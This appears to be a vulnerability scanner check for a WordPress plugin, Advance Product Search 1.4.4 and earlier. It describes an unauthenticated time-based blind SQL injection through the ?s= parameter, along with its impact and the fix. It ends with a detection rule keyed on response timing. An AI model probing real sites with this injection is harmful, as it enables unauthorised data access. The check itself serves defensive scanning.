Readycheck to confirm it

Advance Product Search 1.4.4 and earlier is vulnerable to unauthenticated time-based blind SQL injection. The plugin rebuilds the WordPress search SQL by hand and uses $wpdb->esc_like() which escapes LIKE wildcards but not single quotes, allowing injection through the ?s= parameter.

Impact

Unauthenticated attackers can execute arbitrary SQL commands, potentially leading to data disclosure or modification.

Fix

Update to the latest version beyond 1.4.4.

How to confirm it

Send: @timeout: 10s
Positive when: contains(body, "wp-content/plugins/th-advance-product-search") and status_code == 200 and duration >= 6
